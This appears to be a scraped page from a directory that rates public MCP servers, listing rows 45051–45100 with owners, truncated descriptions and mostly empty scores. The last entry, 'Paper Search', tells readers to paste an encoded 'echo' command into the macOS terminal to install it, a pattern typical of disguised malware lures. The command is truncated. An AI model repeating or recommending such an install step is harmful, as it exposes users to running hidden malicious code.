MCP Server Quality Scores

Independent quality analysis of 69261 public MCP servers

69261
Discovered
→
33946
Scored
→
2112
Verified
→
16953
Complete

Last updated 49 minutes ago

Grade Distribution

Score Distribution

# Server Score ↓ Visibility Schema Protocol Reliability Maint. Security Agent Lang
○ Unscored
45051
SafaAslan
Enables Claude AI to control an Engwe N1 Air e-bike via Bluetooth and IoT API, …
— ○ ⏳ — N/A N/A — — —
45052
fe-m-bueno
mcp-me Claim
Transforms professional data (CV, projects) into MCP tools for LLMs to query, l…
— ○ ⏳ — N/A N/A — — —
45053
Donatoni
Accela MCP Claim
A Model Context Protocol server that wraps the Accela Construct API as a curate…
— ○ ⏳ — N/A N/A — — —
45054
SharifulHasanRoky
Mother MCP Claim
A unified remote MCP server that integrates multiple advertising, analytics, an…
— ○ ⏳ — — — — — —
45055
tanushbhootra576
Vibe-Audit Claim
A multi-agent system that scans a JavaScript or TypeScript source file for unba…
— ○ ⏳ — N/A N/A — — —
45056
joeetdev
site Claim
Med Spa Cost Checker: the site's own MCP server — dataset, enquiry (enquiry = a…
— ○ ⏳ — — — — — —
45057
ducla5
Enables AI agents to efficiently access and process Google Drive documents by c…
— ○ ⏳ — — — — 81 —
45058
6551-Team
OKX Agent Trade Kit: MCP server and CLI to connect AI assistants (Claude, Curso…
— ○ ⏳ — N/A N/A — — —
45059
hayian78
A security proxy for Neon's MCP server that allows AI agents to create and mana…
— ○ ⏳ — N/A N/A — — —
45060
cbruyndoncx
Converts Cursor agent plans into structured markdown task lists and organizes t…
— ○ ⏳ — N/A N/A — — —
45061
shiz81463
BlenderMCP Claim
Connects Blender to Claude AI through MCP, allowing Claude to directly interact…
— ○ ⏳ — N/A N/A — — —
45062
famtong8-dev
Provides JavaScript/TypeScript code intelligence via LSP, enabling goto definit…
— ○ ⏳ — N/A N/A — — —
45063
shinypebble
MCP server for Microsoft Advertising (Bing Ads) REST API enabling agent-led cam…
— ○ ⏳ — — — — — —
45064
gallardo.kevin0
my-project Claim
— ○ ⏳ — N/A N/A — 95 —
45065
Bright-L01
The first NetworkX integration for Model Context Protocol, enabling graph analy…
— ○ ⏳ — N/A N/A — 95 —
45066
NG-Bullseye
Read-only MCP server for FinTS/HBCI banking; enables account information retrie…
— ○ ⏳ — N/A N/A — — —
45067
AsifKibria
Maintenance, recovery, and observability for Claude Code. CLI + MCP server + da…
— ○ ⏳ — N/A N/A — — —
45068
rolandreads
bazzite-mcp Claim
MCP server for managing Bazzite Linux hosts, enabling system administration, de…
— ○ ⏳ — N/A N/A — — —
45069
ryankiley
Mahonia Claim
Read and edit Mahonia backpacking gear lists via share and edit links; no accou…
— ○ ⏳ — — — — — —
45070
kaushik701
MCP server that wraps the NASA Space-Track API to provide tools for TLE lookup,…
— ○ ⏳ — — — — — —
45071
deeparchi-ai
An MCP server that gives AI agents access to global patent data, including 1.4 …
— ○ ⏳ — — — — — —
45072
dblinick
An MCP server for PostgreSQL with index tuning, explain plans, health checks, a…
— ○ ⏳ — — — — — —
45073
stackblaze
rabbitmq-mcp Claim
Enables LLM agents to manage RabbitMQ queues, exchanges, and shovels via MCP to…
— ○ ⏳ — — — — — —
45074
Urabewe
Production-ready MCP server with web search, persistent memory, multi-user supp…
— ○ ⏳ — N/A N/A — — —
45075
linkguard-mcp Claim 1
Backlink tools for AI assistants: redirect, Google index, and backlink health c…
— ○ ⏳ — N/A N/A — 69 —
45076
nealcaren
mcp-zotero Claim
Enables interaction with Zotero libraries for searching, managing collections, …
— ○ ⏳ — N/A N/A — — —
45077
sjgant80-hub
MCP server that exposes the 7-prime spine, 7 κ-bands, and 6 fold operations as …
— ○ ⏳ — N/A N/A — — —
45078
Artoxem
A full-featured Model Context Protocol server that gives AI assistants real-tim…
— ○ ⏳ — N/A N/A — — —
45079
katekyorock-ux
Relay messages between Claude Code sessions over MCP without stealing window fo…
— ○ ⏳ — N/A N/A — — —
45080
LevNyyon
A local MCP server that renders nyyon's editorial diagrams and featured covers …
— ○ ⏳ — N/A N/A — — —
45081
div0ky
Oreo Pudding Claim
Enables LLM clients to interact with Apple Calendar (iCloud) via CalDAV, suppor…
— ○ ⏳ — — — — — —
45082
cwoodcox
pvwatts-mcp Claim
Enables solar energy potential assessment by converting parcel centroid and acr…
— ○ ⏳ — — — — — —
45083
stellarcompiler
mysql-mcp Claim
Provides safe read, insert, and update operations on MySQL databases with guard…
— ○ ⏳ — — — — — —
45084
Aomala
SEC-MCP Claim
MCP server for analyzing SEC filings (10-K, 10-Q, 8-K) with industry-aware fina…
— ○ ⏳ — — — — — —
45085
metalevel-tech
MCP server for image optimization, conversion, AI generation, and gallery manag…
— ○ ⏳ — — — — 81 —
45086
LucasLeguizamo
Enables agents to discover events, purchase tickets, and set reminders through …
— ○ ⏳ — — — — — —
45087
arielaizn
Connects to vibe-code-best-practices.vercel.app to index 817 tools across 185 s…
— ○ ⏳ — — — — — —
45088
agimenez-dev
Enables searching and reading Thunderbird emails locally through MCP, using the…
— ○ ⏳ — N/A N/A — — —
45089
WALTER-WRITES
Walter Remote MCP Server — AI humanization and detection tools
— ○ ⏳ — — — — — —
45090
burnham
Custom MCP server for n8n automation, providing 27 tools to manage workflows, e…
— ○ ⏳ — — — — — —
45091
trycon
Enables AI agents to generate ticket IDs with QR codes, send tickets via email/…
— ○ ⏳ — — — — — —
45092
blueqwertz
linda-mcp Claim
Enables AI models to search and retrieve legal documents, magazine issues, comm…
— ○ ⏳ — — — — — —
45093
thisismugil
cric-mcp Claim
Enterprise-grade MCP server providing daily cricket updates via FastAPI and SSE…
— ○ ⏳ — — — — — —
45094
facetoplace
Workix Claim
Remote jobs, freelance gigs, vacancies. 24 boards: Upwork, Freelancer, RemoteOK…
— ○ ⏳ — N/A N/A — — —
45095
fdciabdul
MCP server for AI image generation supporting multiple providers (OpenRouter, T…
— ○ ⏳ — N/A N/A — — —
45096
sfio9190
mindkeg-mcp Claim
Helps AI coding agents remember what they learn across sessions by storing and …
— ○ ⏳ — N/A N/A — — —
45097
egtai
MCP-GMX-VMD Claim
Integrates GROMACS molecular dynamics simulations with VMD visualization, enabl…
— ○ ⏳ — N/A N/A — — —
45098
pipeworx-io
Enables querying Wynncraft MMORPG data including player stats, guilds, leaderbo…
— ○ ⏳ — — — — — —
45099
Neeshant01
Kratos-MCP Claim
Enables autonomous analysis of PE (Portable Executable) files for detecting inj…
— ○ ⏳ — N/A N/A — — —
45100
papersearch
Paper Search Claim
Important! To install, open the MacOS terminal and enter the command: echo 'L2…
— ○ ⏳ — — — — — —
Showing 45051–45100 of 69261 servers
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